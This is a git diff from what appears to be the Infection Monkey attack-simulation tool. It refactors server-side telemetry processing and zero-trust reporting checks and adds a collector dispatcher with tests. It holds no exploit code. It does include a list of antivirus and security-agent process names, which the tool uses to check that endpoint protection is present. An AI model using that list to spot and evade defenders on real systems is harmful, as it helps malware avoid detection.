b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/environment.py new file mode 100644 index 000000000..4c685a01b --- /dev/null +++ b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/environment.py @@ -0,0 +1,12 @@ +import logging + +from monkey_island.cc.models.monkey import Monkey + +logger = logging.getLogger(__name__) + + +def process_environment_telemetry(collector_results, monkey_guid): + relevant_monkey = Monkey.get_single_monkey_by_guid(monkey_guid) + relevant_monkey.environment = collector_results["environment"] + relevant_monkey.save() + logger.debug("Updated Monkey {} with env {}".format(str(relevant_monkey), collector_results)) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/hostname.py b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/hostname.py new file mode 100644 index 000000000..e2de4519c --- /dev/null +++ b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/hostname.py @@ -0,0 +1,9 @@ +import logging + +from monkey_island.cc.models.monkey import Monkey + +logger = logging.getLogger(__name__) + + +def process_hostname_telemetry(collector_results, monkey_guid): + Monkey.get_single_monkey_by_guid(monkey_guid).set_hostname(collector_results["hostname"]) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py new file mode 100644 index 000000000..b5f2d24ea --- /dev/null +++ b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py @@ -0,0 +1,64 @@ +import logging +import typing + +from common.data.system_info_collectors_names \ + import AWS_COLLECTOR, ENVIRONMENT_COLLECTOR, HOSTNAME_COLLECTOR, PROCESS_LIST_COLLECTOR +from monkey_island.cc.services.telemetry.processing.system_info_collectors.aws import process_aws_telemetry +from monkey_island.cc.services.telemetry.processing.system_info_collectors.environment import process_environment_telemetry +from monkey_island.cc.services.telemetry.processing.system_info_collectors.hostname import process_hostname_telemetry +from monkey_island.cc.services.telemetry.zero_trust_tests.antivirus_existence import test_antivirus_existence + +logger = logging.getLogger(__name__) + +SYSTEM_INFO_COLLECTOR_TO_TELEMETRY_PROCESSORS = { + AWS_COLLECTOR: [process_aws_telemetry], + ENVIRONMENT_COLLECTOR: [process_environment_telemetry], + HOSTNAME_COLLECTOR: [process_hostname_telemetry], + PROCESS_LIST_COLLECTOR: [test_antivirus_existence] +} + + +class SystemInfoTelemetryDispatcher(object): + def __init__(self, collector_to_parsing_functions: typing.Mapping[str, typing.List[typing.Callable]] = None): + """ + :param collector_to_parsing_functions: Map between collector names and a list of functions that process the output of + that collector. If `None` is supplied, uses the default one; This should be the normal flow, overriding the + collector->functions mapping is useful mostly for testing. + """ + if collector_to_parsing_functions is None: + collector_to_parsing_functions = SYSTEM_INFO_COLLECTOR_TO_TELEMETRY_PROCESSORS + self.collector_to_processing_functions = collector_to_parsing_functions + + def dispatch_collector_results_to_relevant_processors(self, telemetry_json): + """ + If the telemetry has collectors' results, dispatches the results to the relevant processing functions. + :param telemetry_json: Telemetry sent from the Monkey + """ + if "collectors" in telemetry_json["data"]: + self.dispatch_single_result_to_relevant_processor(telemetry_json) + + def dispatch_single_result_to_relevant_processor(self, telemetry_json): + relevant_monkey_guid = telemetry_json['monkey_guid'] + + for collector_name, collector_results in telemetry_json["data"]["collectors"].items(): + self.dispatch_result_of_single_collector_to_processing_functions( + collector_name, + collector_results, + relevant_monkey_guid) + + def dispatch_result_of_single_collector_to_processing_functions( + self, + collector_name, + collector_results, + relevant_monkey_guid): + if collector_name in self.collector_to_processing_functions: + for processing_function in self.collector_to_processing_functions[collector_name]: + # noinspection PyBroadException + try: + processing_function(collector_results, relevant_monkey_guid) + except Exception as e: + logger.error( + "Error {} while processing {} system info telemetry".format(str(e), collector_name), + exc_info=True) + else: + logger.warning("Unknown system info collector name: {}".format(collector_name)) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_environment.py b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_environment.py new file mode 100644 index 000000000..f85b2b88c --- /dev/null +++ b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_environment.py @@ -0,0 +1,31 @@ +import uuid + +from monkey_island.cc.models import Monkey +from monkey_island.cc.services.telemetry.processing.system_info_collectors.system_info_telemetry_dispatcher import \ + SystemInfoTelemetryDispatcher +from monkey_island.cc.testing.IslandTestCase import IslandTestCase + + +class TestEnvironmentTelemetryProcessing(IslandTestCase): + def test_process_environment_telemetry(self): + self.fail_if_not_testing_env() + self.clean_monkey_db() + + # Arrange + monkey_guid = str(uuid.uuid4()) + a_monkey = Monkey(guid=monkey_guid) + a_monkey.save() + dispatcher = SystemInfoTelemetryDispatcher() + + on_premise = "On Premise" + telem_json = { + "data": { + "collectors": { + "EnvironmentCollector": {"environment": on_premise}, + } + }, + "monkey_guid": monkey_guid + } + dispatcher.dispatch_collector_results_to_relevant_processors(telem_json) + + self.assertEqual(Monkey.get_single_monkey_by_guid(monkey_guid).environment, on_premise) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_system_info_telemetry_dispatcher.py b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_system_info_telemetry_dispatcher.py new file mode 100644 index 000000000..c5cc7aca2 --- /dev/null +++ b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_system_info_telemetry_dispatcher.py @@ -0,0 +1,57 @@ +import uuid + +from monkey_island.cc.models import Monkey +from monkey_island.cc.services.telemetry.processing.system_info_collectors.system_info_telemetry_dispatcher import \ + SystemInfoTelemetryDispatcher +from monkey_island.cc.services.telemetry.processing.system_info_collectors.system_info_telemetry_dispatcher import \ + process_aws_telemetry +from monkey_island.cc.testing.IslandTestCase import IslandTestCase + +TEST_SYS_INFO_TO_PROCESSING = { + "AwsCollector": [process_aws_telemetry], +} + + +class SystemInfoTelemetryDispatcherTest(IslandTestCase): + def test_dispatch_to_relevant_collector_bad_inputs(self): + self.fail_if_not_testing_env() + + dispatcher = SystemInfoTelemetryDispatcher(TEST_SYS_INFO_TO_PROCESSING) + + # Bad format telem JSONs - throws + bad_empty_telem_json = {} + self.assertRaises(KeyError, dispatcher.dispatch_collector_results_to_relevant_processors, bad_empty_telem_json) + bad_no_data_telem_json = {"monkey_guid": "bla"} + self.assertRaises(KeyError, dispatcher.dispatch_collector_results_to_relevant_processors, bad_no_data_telem_json) + bad_no_monkey_telem_json = {"data": {"collectors": {"AwsCollector": "Bla"}}} + self.assertRaises(KeyError, dispatcher.dispatch_collector_results_to_relevant_processors, bad_no_monkey_telem_json) + + # Telem JSON with no collectors - nothing gets dispatched + good_telem_no_collectors = {"monkey_guid": "bla", "data": {"bla": "bla"}} + good_telem_empty_collectors = {"monkey_guid": "bla", "data": {"bla": "bla", "collectors": {}}} + + dispatcher.dispatch_collector_results_to_relevant_processors(good_telem_no_collectors) + dispatcher.dispatch_collector_results_to_relevant_processors(good_telem_empty_collectors) + + def test_dispatch_to_relevant_collector(self): + self.fail_if_not_testing_env() + self.clean_monkey_db() + + a_monkey = Monkey(guid=str(uuid.uuid4())) + a_monkey.save() + + dispatcher = SystemInfoTelemetryDispatcher() + + # JSON with results - make sure functions are called + instance_id = "i-0bd2c14bd4c7d703f" + telem_json = { + "data": { + "collectors": { + "AwsCollector": {"instance_id": instance_id}, + } + }, + "monkey_guid": a_monkey.guid + } + dispatcher.dispatch_collector_results_to_relevant_processors(telem_json) + + self.assertEquals(Monkey.get_single_monkey_by_guid(a_monkey.guid).aws_instance_id, instance_id) diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/antivirus_existence.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/antivirus_existence.py index b8b8c559b..1916291e2 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/antivirus_existence.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/antivirus_existence.py @@ -1,43 +1,42 @@ import json -from common.data.zero_trust_consts import EVENT_TYPE_MONKEY_LOCAL, \ - STATUS_PASSED, STATUS_FAILED, TEST_ENDPOINT_SECURITY_EXISTS +import common.data.zero_trust_consts as zero_trust_consts from monkey_island.cc.models import Monkey from monkey_island.cc.models.zero_trust.aggregate_finding import AggregateFinding from monkey_island.cc.models.zero_trust.event import Event from monkey_island.cc.services.telemetry.zero_trust_tests.known_anti_viruses import ANTI_VIRUS_KNOWN_PROCESS_NAMES -def test_antivirus_existence(telemetry_json): - current_monkey = Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid']) - if 'process_list' in telemetry_json['data']: - process_list_event = Event.create_event( - title="Process list", - message="Monkey on {} scanned the process list".format(current_monkey.hostname), - event_type=EVENT_TYPE_MONKEY_LOCAL) - events = [process_list_event] +def test_antivirus_existence(process_list_json, monkey_guid): + current_monkey = Monkey.get_single_monkey_by_guid(monkey_guid) - av_processes = filter_av_processes(telemetry_json) + process_list_event = Event.create_event( + title="Process list", + message="Monkey on {} scanned the process list".format(current_monkey.hostname), + event_type=zero_trust_consts.EVENT_TYPE_MONKEY_LOCAL) + events = [process_list_event] - for process in av_processes: - events.append(Event.create_event( - title="Found AV process", - message="The process '{}' was recognized as an Anti Virus process. Process " - "details: {}".format(process[1]['name'], json.dumps(process[1])), - event_type=EVENT_TYPE_MONKEY_LOCAL - )) + av_processes = filter_av_processes(process_list_json["process_list"]) - if len(av_processes) > 0: - test_status = STATUS_PASSED - else: - test_status = STATUS_FAILED - AggregateFinding.create_or_add_to_existing( - test=TEST_ENDPOINT_SECURITY_EXISTS, status=test_status, events=events - ) + for process in av_processes: + events.append(Event.create_event( + title="Found AV process", + message="The process '{}' was recognized as an Anti Virus process. Process " + "details: {}".format(process[1]['name'], json.dumps(process[1])), + event_type=zero_trust_consts.EVENT_TYPE_MONKEY_LOCAL + )) + + if len(av_processes) > 0: + test_status = zero_trust_consts.STATUS_PASSED + else: + test_status = zero_trust_consts.STATUS_FAILED + AggregateFinding.create_or_add_to_existing( + test=zero_trust_consts.TEST_ENDPOINT_SECURITY_EXISTS, status=test_status, events=events + ) -def filter_av_processes(telemetry_json): - all_processes = telemetry_json['data']['process_list'].items() +def filter_av_processes(process_list): + all_processes = list(process_list.items()) av_processes = [] for process in all_processes: process_name = process[1]['name'] diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/communicate_as_new_user.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/communicate_as_new_user.py index 6c5b1154b..f6af5e4bf 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/communicate_as_new_user.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/communicate_as_new_user.py @@ -1,5 +1,4 @@ -from common.data.zero_trust_consts import EVENT_TYPE_MONKEY_NETWORK, STATUS_FAILED, TEST_COMMUNICATE_AS_NEW_USER, \ - STATUS_PASSED +import common.data.zero_trust_consts as zero_trust_consts from monkey_island.cc.models.zero_trust.aggregate_finding import AggregateFinding from monkey_island.cc.models.zero_trust.event import Event @@ -10,9 +9,9 @@ COMM_AS_NEW_USER_SUCCEEDED_FORMAT = \ def test_new_user_communication(current_monkey, success, message): AggregateFinding.create_or_add_to_existing( - test=TEST_COMMUNICATE_AS_NEW_USER, + test=zero_trust_consts.TEST_COMMUNICATE_AS_NEW_USER, # If the monkey succeeded to create a user, then the test failed. - status=STATUS_FAILED if success else STATUS_PASSED, + status=zero_trust_consts.STATUS_FAILED if success else zero_trust_consts.STATUS_PASSED, events=[ get_attempt_event(current_monkey), get_result_event(current_monkey, message, success) @@ -24,7 +23,7 @@ def get_attempt_event(current_monkey): tried_to_communicate_event = Event.create_event( title="Communicate as new user", message="Monkey on {} tried to create a new user and communicate from it.".format(current_monkey.hostname), - event_type=EVENT_TYPE_MONKEY_NETWORK) + event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK) return tried_to_communicate_event @@ -34,4 +33,4 @@ def get_result_event(current_monkey, message, success): return Event.create_event( title="Communicate as new user", message=message_format.format(current_monkey.hostname, message), - event_type=EVENT_TYPE_MONKEY_NETWORK) + event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK) diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py index 68a7f713d..d7b447e4a 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py @@ -1,7 +1,7 @@ import json from common.data.network_consts import ES_SERVICE -from common.data.zero_trust_consts import * +import common.data.zero_trust_consts as zero_trust_consts from monkey_island.cc.models import Monkey from monkey_island.cc.models.zero_trust.aggregate_finding import AggregateFinding, add_malicious_activity_to_timeline from monkey_island.cc.models.zero_trust.event import Event @@ -12,8 +12,8 @@ HTTP_SERVERS_SERVICES_NAMES = ['tcp-80'] def test_open_data_endpoints(telemetry_json): services = telemetry_json["data"]["machine"]["services"] current_monkey = Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid']) - found_http_server_status = STATUS_PASSED - found_elastic_search_server = STATUS_PASSED + found_http_server_status = zero_trust_consts.STATUS_PASSED + found_elastic_search_server = zero_trust_consts.STATUS_PASSED events = [ Event.create_event( @@ -21,19 +21,19 @@ def test_open_data_endpoints(telemetry_json): message="Monkey on {} tried to perform a network scan, the target was {}.".format( current_monkey.hostname, telemetry_json["data"]["machine"]["ip_addr"]), - event_type=EVENT_TYPE_MONKEY_NETWORK, + event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK, timestamp=telemetry_json["timestamp"] ) ] - for service_name, service_data in services.items(): + for service_name, service_data in list(services.items()): events.append(Event.create_event( title="Scan telemetry analysis", message="Scanned service: {}.".format(service_name), - event_type=EVENT_TYPE_MONKEY_NETWORK + event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK )) if service_name in HTTP_SERVERS_SERVICES_NAMES: - found_http_server_status = STATUS_FAILED + found_http_server_status = zero_trust_consts.STATUS_FAILED events.append(Event.create_event( title="Scan telemetry analysis", message="Service {} on {} recognized as an open data endpoint! Service details: {}".format( @@ -41,10 +41,10 @@ def test_open_data_endpoints(telemetry_json): telemetry_json["data"]["machine"]["ip_addr"], json.dumps(service_data) ), - event_type=EVENT_TYPE_MONKEY_NETWORK + event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK )) if service_name == ES_SERVICE: - found_elastic_search_server = STATUS_FAILED + found_elastic_search_server = zero_trust_consts.STATUS_FAILED events.append(Event.create_event( title="Scan telemetry analysis", message="Service {} on {} recognized as an open data endpoint! Service details: {}".format( @@ -52,17 +52,17 @@ def test_open_data_endpoints(telemetry_json): telemetry_json["data"]["machine"]["ip_addr"], json.dumps(service_data) ), - event_type=EVENT_TYPE_MONKEY_NETWORK + event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK )) AggregateFinding.create_or_add_to_existing( - test=TEST_DATA_ENDPOINT_HTTP, + test=zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, status=found_http_server_status, events=events ) AggregateFinding.create_or_add_to_existing( - test=TEST_DATA_ENDPOINT_ELASTIC, + test=zero_trust_consts.TEST_DATA_ENDPOINT_ELASTIC, status=found_elastic_search_server, events=events ) diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/known_anti_viruses.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/known_anti_viruses.py index e5d7c2355..291348467 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/known_anti_viruses.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/known_anti_viruses.py @@ -1,87 +1,87 @@ ANTI_VIRUS_KNOWN_PROCESS_NAMES = [ - u"AvastSvc.exe", - u"AvastUI.exe", - u"avcenter.exe", - u"avconfig.exe", - u"avgcsrvx.exe", - u"avgidsagent.exe", - u"avgnt.exe", - u"avgrsx.exe", - u"avguard.exe", - u"avgui.exe", - u"avgwdsvc.exe", - u"avp.exe", - u"avscan.exe", - u"bdagent.exe", - u"ccuac.exe", - u"egui.exe", - u"hijackthis.exe", - u"instup.exe", - u"keyscrambler.exe", - u"mbam.exe", - u"mbamgui.exe", - u"mbampt.exe", - u"mbamscheduler.exe", - u"mbamservice.exe", - u"MpCmdRun.exe", - u"MSASCui.exe", - u"MsMpEng.exe", - u"rstrui.exe", - u"spybotsd.exe", - u"zlclient.exe", - u"SymCorpUI.exe", - u"ccSvcHst.exe", - u"ccApp.exe", - u"LUALL.exe", - u"SMC.exe", - u"SMCgui.exe", - u"Rtvscan.exe", - u"LuComServer.exe", - u"ProtectionUtilSurrogate.exe", - u"ClientRemote.exe", - u"SemSvc.exe", - u"SemLaunchSvc.exe", - u"sesmcontinst.exe", - u"LuCatalog.exe", - u"LUALL.exe", - u"LuCallbackProxy.exe", - u"LuComServer_3_3.exe", - u"httpd.exe", - u"dbisqlc.exe", - u"dbsrv16.exe", - u"semapisrv.exe", - u"snac64.exe", - u"AutoExcl.exe", - u"DoScan.exe", - u"nlnhook.exe", - u"SavUI.exe", - u"SepLiveUpdate.exe", - u"Smc.exe", - u"SmcGui.exe", - u"SymCorpUI.exe", - u"symerr.exe", - u"ccSvcHst.exe", - u"DevViewer.exe", - u"DWHWizrd.exe", - u"RtvStart.exe", - u"roru.exe", - u"WSCSAvNotifier", + "AvastSvc.exe", + "AvastUI.exe", + "avcenter.exe", + "avconfig.exe", + "avgcsrvx.exe", + "avgidsagent.exe", + "avgnt.exe", + "avgrsx.exe", + "avguard.exe", + "avgui.exe", + "avgwdsvc.exe", + "avp.exe", + "avscan.exe", + "bdagent.exe", + "ccuac.exe", + "egui.exe", + "hijackthis.exe", + "instup.exe", + "keyscrambler.exe", + "mbam.exe", + "mbamgui.exe", + "mbampt.exe", + "mbamscheduler.exe", + "mbamservice.exe", + "MpCmdRun.exe", + "MSASCui.exe", + "MsMpEng.exe", + "rstrui.exe", + "spybotsd.exe", + "zlclient.exe", + "SymCorpUI.exe", + "ccSvcHst.exe", + "ccApp.exe", + "LUALL.exe", + "SMC.exe", + "SMCgui.exe", + "Rtvscan.exe", + "LuComServer.exe", + "ProtectionUtilSurrogate.exe", + "ClientRemote.exe", + "SemSvc.exe", + "SemLaunchSvc.exe", + "sesmcontinst.exe", + "LuCatalog.exe", + "LUALL.exe", + "LuCallbackProxy.exe", + "LuComServer_3_3.exe", + "httpd.exe", + "dbisqlc.exe", + "dbsrv16.exe", + "semapisrv.exe", + "snac64.exe", + "AutoExcl.exe", + "DoScan.exe", + "nlnhook.exe", + "SavUI.exe", + "SepLiveUpdate.exe", + "Smc.exe", + "SmcGui.exe", + "SymCorpUI.exe", + "symerr.exe", + "ccSvcHst.exe", + "DevViewer.exe", + "DWHWizrd.exe", + "RtvStart.exe", + "roru.exe", + "WSCSAvNotifier", # Guardicore Centra # Linux - u"gc-agents-service", - u"gc-guest-agent", - u"gc-guardig", - u"gc-digger", - u"gc-fastpath", - u"gc-enforcement-agent", - u"gc-enforcement-channel", - u"gc-detection-agent", + "gc-agents-service", + "gc-guest-agent", + "gc-guardig", + "gc-digger", + "gc-fastpath", + "gc-enforcement-agent", + "gc-enforcement-channel", + "gc-detection-agent", # Windows - u"gc-guest-agent.exe", - u"gc-windig.exe", - u"gc-digger.exe", - u"gc-fastpath.exe", - u"gc-enforcement-channel.exe", - u"gc-enforcement-agent.exe", - u"gc-agent-ui.exe" + "gc-guest-agent.exe", + "gc-windig.exe", + "gc-digger.exe", + "gc-fastpath.exe", + "gc-enforcement-channel.exe", + "gc-enforcement-agent.exe", + "gc-agent-ui.exe" ] diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py index 454f3a7fe..8c128e7f9 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py @@ -1,5 +1,4 @@ -from common.data.zero_trust_consts import * -from monkey_island.cc.models import Monkey +import common.data.zero_trust_consts as zero_trust_consts from monkey_island.cc.models.zero_trust.aggregate_finding import AggregateFinding, add_malicious_activity_to_timeline from monkey_island.cc.models.zero_trust.event import Event @@ -12,11 +11,11 @@ def test_machine_exploited(current_monkey, exploit_successful, exploiter, target current_monkey.hostname, target_ip, exploiter), - event_type=EVENT_TYPE_MONKEY_NETWORK, + event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK, timestamp=timestamp ) ] - status = STATUS_PASSED + status = zero_trust_consts.STATUS_PASSED if exploit_successful: events.append( Event.create_event( @@ -25,13 +24,13 @@ def test_machine_exploited(current_monkey, exploit_successful, exploiter, target current_monkey.hostname, target_ip, exploiter), - event_type=EVENT_TYPE_MONKEY_NETWORK, + event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK, timestamp=timestamp) ) - status = STATUS_FAILED + status = zero_trust_consts.STATUS_FAILED AggregateFinding.create_or_add_to_existing( - test=TEST_MACHINE_EXPLOITED, + test=zero_trust_consts.TEST_MACHINE_EXPLOITED, status=status, events=events ) diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/segmentation.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/segmentation.py index 50e60e493..f2c3f61b6 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/segmentation.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/segmentation.py @@ -1,7 +1,6 @@ import itertools -from six import text_type -from common.data.zero_trust_consts import STATUS_FAILED, EVENT_TYPE_MONKEY_NETWORK, STATUS_PASSED +import common.data.zero_trust_consts as zero_trust_consts from common.network.network_range import NetworkRange from common.network.segmentation_utils import get_ip_in_src_and_not_in_dst, get_ip_if_in_subnet from monkey_island.cc.models import Monkey @@ -10,7 +9,7 @@ from monkey_island.cc.models.zero_trust.segmentation_finding import Segmentation from monkey_island.cc.services.configuration.utils import get_config_network_segments_as_subnet_groups SEGMENTATION_DONE_EVENT_TEXT = "Monkey on {hostname} is done attempting cross-segment communications " \ - "from `{src_seg}` segments to `{dst_seg}` segments." + "from `{src_seg}` segments to `{dst_seg}` segments." SEGMENTATION_VIOLATION_EVENT_TEXT = \ "Segmentation violation! Monkey on '{hostname}', with the {source_ip} IP address (in segment {source_seg}) " \ @@ -29,13 +28,12 @@ def test_segmentation_violation(current_monkey, target_ip): event = get_segmentation_violation_event(current_monkey, source_subnet, target_ip, target_subnet) SegmentationFinding.create_or_add_to_existing_finding( subnets=[source_subnet, target_subnet], - status=STATUS_FAILED, + status=zero_trust_consts.STATUS_FAILED, segmentation_event=event ) -def is_segmentation_violation(current_monkey, target_ip, source_subnet, target_subnet): - # type: (Monkey, str, str, str) -> bool +def is_segmentation_violation(current_monkey: Monkey, target_ip: str, source_subnet: str, target_subnet: str) -> bool: """ Checks is a specific communication is a segmentation violation. :param current_monkey: The source monkey which originated the communication. @@ -49,7 +47,7 @@ def is_segmentation_violation(current_monkey, target_ip, source_subnet, target_s source_subnet_range = NetworkRange.get_range_obj(source_subnet) target_subnet_range = NetworkRange.get_range_obj(target_subnet) - if target_subnet_range.is_in_range(text_type(target_ip)): + if target_subnet_range.is_in_range(str(target_ip)): cross_segment_ip = get_ip_in_src_and_not_in_dst( current_monkey.ip_addresses, source_subnet_range, @@ -68,7 +66,7 @@ def get_segmentation_violation_event(current_monkey, source_subnet, target_ip, t target_ip=target_ip, target_seg=target_subnet ), - event_type=EVENT_TYPE_MONKEY_NETWORK + event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK ) @@ -94,7 +92,7 @@ def create_or_add_findings_for_all_pairs(all_subnets, current_monkey): for subnet_pair in all_subnets_pairs_for_this_monkey: SegmentationFinding.create_or_add_to_existing_finding( subnets=list(subnet_pair), - status=STATUS_PASSED, + status=zero_trust_consts.STATUS_PASSED, segmentation_event=get_segmentation_done_event(current_monkey, subnet_pair) ) @@ -103,8 +101,8 @@ def get_segmentation_done_event(current_monkey, subnet_pair): return Event.create_event( title="Segmentation test done", message=SEGMENTATION_DONE_EVENT_TEXT.format( - hostname=current_monkey.hostname, - src_seg=subnet_pair[0], - dst_seg=subnet_pair[1]), - event_type=EVENT_TYPE_MONKEY_NETWORK + hostname=current_monkey.hostname, + src_seg=subnet_pair[0], + dst_seg=subnet_pair[1]), + event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK ) diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/test_segmentation_zt_tests.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/test_segmentation_zt_tests.py index 5f986e3b5..50d5f1c0b 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/test_segmentation_zt_tests.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/test_segmentation_zt_tests.py @@ -1,7 +1,6 @@ import uuid -from common.data.zero_trust_consts import TEST_SEGMENTATION, STATUS_PASSED, STATUS_FAILED, \ - EVENT_TYPE_MONKEY_NETWORK +import common.data.zero_trust_consts as zero_trust_consts from monkey_island.cc.models import Monkey from monkey_island.cc.models.zero_trust.event import Event from monkey_island.cc.models.zero_trust.finding import Finding @@ -26,21 +25,29 @@ class TestSegmentationTests(IslandTestCase): ip_addresses=[FIRST_SUBNET]) # no findings - self.assertEquals(len(Finding.objects(test=TEST_SEGMENTATION)), 0) + self.assertEqual(len(Finding.objects(test=zero_trust_consts.TEST_SEGMENTATION)), 0) # This is like the monkey is done and sent done telem create_or_add_findings_for_all_pairs(all_subnets, monkey) # There are 2 subnets in which the monkey is NOT - self.assertEquals(len(Finding.objects(test=TEST_SEGMENTATION, status=STATUS_PASSED)), 2) + self.assertEqual( + len(Finding.objects(test=zero_trust_consts.TEST_SEGMENTATION, status=zero_trust_consts.STATUS_PASSED)), + 2) # This is a monkey from 2nd subnet communicated with 1st subnet. SegmentationFinding.create_or_add_to_existing_finding( [FIRST_SUBNET, SECOND_SUBNET], - STATUS_FAILED, - Event.create_event(title="sdf", message="asd", event_type=EVENT_TYPE_MONKEY_NETWORK) + zero_trust_consts.STATUS_FAILED, + Event.create_event(title="sdf", message="asd", event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK) ) - self.assertEquals(len(Finding.objects(test=TEST_SEGMENTATION, status=STATUS_PASSED)), 1) - self.assertEquals(len(Finding.objects(test=TEST_SEGMENTATION, status=STATUS_FAILED)), 1) - self.assertEquals(len(Finding.objects(test=TEST_SEGMENTATION)), 2) + self.assertEqual( + len(Finding.objects(test=zero_trust_consts.TEST_SEGMENTATION, status=zero_trust_consts.STATUS_PASSED)), + 1) + self.assertEqual( + len(Finding.objects(test=zero_trust_consts.TEST_SEGMENTATION, status=zero_trust_consts.STATUS_FAILED)), + 1) + self.assertEqual( + len(Finding.objects(test=zero_trust_consts.TEST_SEGMENTATION)), + 2) diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/tunneling.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/tunneling.py index ce34c2bb4..e402525c8 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/tunneling.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/tunneling.py @@ -1,4 +1,4 @@ -from common.data.zero_trust_consts import TEST_TUNNELING, STATUS_FAILED, EVENT_TYPE_MONKEY_NETWORK +import common.data.zero_trust_consts as zero_trust_consts from monkey_island.cc.models import Monkey from monkey_island.cc.models.zero_trust.aggregate_finding import AggregateFinding, add_malicious_activity_to_timeline from monkey_island.cc.models.zero_trust.event import Event @@ -14,13 +14,13 @@ def test_tunneling_violation(tunnel_telemetry_json): title="Tunneling event", message="Monkey on {hostname} tunneled traffic through {proxy}.".format( hostname=current_monkey.hostname, proxy=tunnel_host_ip), - event_type=EVENT_TYPE_MONKEY_NETWORK, + event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK, timestamp=tunnel_telemetry_json['timestamp'] )] AggregateFinding.create_or_add_to_existing( - test=TEST_TUNNELING, - status=STATUS_FAILED, + test=zero_trust_consts.TEST_TUNNELING, + status=zero_trust_consts.STATUS_FAILED, events=tunneling_events ) diff --git a/monkey/monkey_island/cc/services/utils/bootloader_config.py b/monkey/monkey_island/cc/services/utils/bootloader_config.py new file mode 100644 index 000000000..cb9ff04a6 --- /dev/null +++ b/monkey/monkey_island/cc/services/utils/bootloader_config.py @@ -0,0 +1,12 @@ +MIN_GLIBC_VERSION = 2.14 + +SUPPORTED_WINDOWS_VERSIONS = { + "xp_or_lower": False, + "vista": False, + "vista_sp1": False, + "vista_sp2": True, + "windows7": True, + "windows7_sp1": True, + "windows8_or_greater": True, +} + diff --git a/monkey/monkey_island/cc/services/utils/node_states.py b/monkey/monkey_island/cc/services/utils/node_states.py new file mode 100644 index 000000000..db8dd6429 --- /dev/null +++ b/monkey/monkey_island/cc/services/utils/node_states.py @@ -0,0 +1,56 @@ +from __future__ import annotations + +from enum import Enum +from typing import List +import collections + + +class NodeStates(Enum): + CLEAN_UNKNOWN = 'clean_unknown' + CLEAN_LINUX = 'clean_linux' + CLEAN_WINDOWS = 'clean_windows' + EXPLOITED_LINUX = 'exploited_linux' + EXPLOITED_WINDOWS = 'exploited_windows' + ISLAND = 'island' + ISLAND_MONKEY_LINUX = 'island_monkey_linux' + ISLAND_MONKEY_LINUX_RUNNING = 'island_monkey_linux_running' + ISLAND_MONKEY_LINUX_STARTING = 'island_monkey_linux_starting' + ISLAND_MONKEY_WINDOWS = 'island_monkey_windows' + ISLAND_MONKEY_WINDOWS_RUNNING = 'island_monkey_windows_running' + 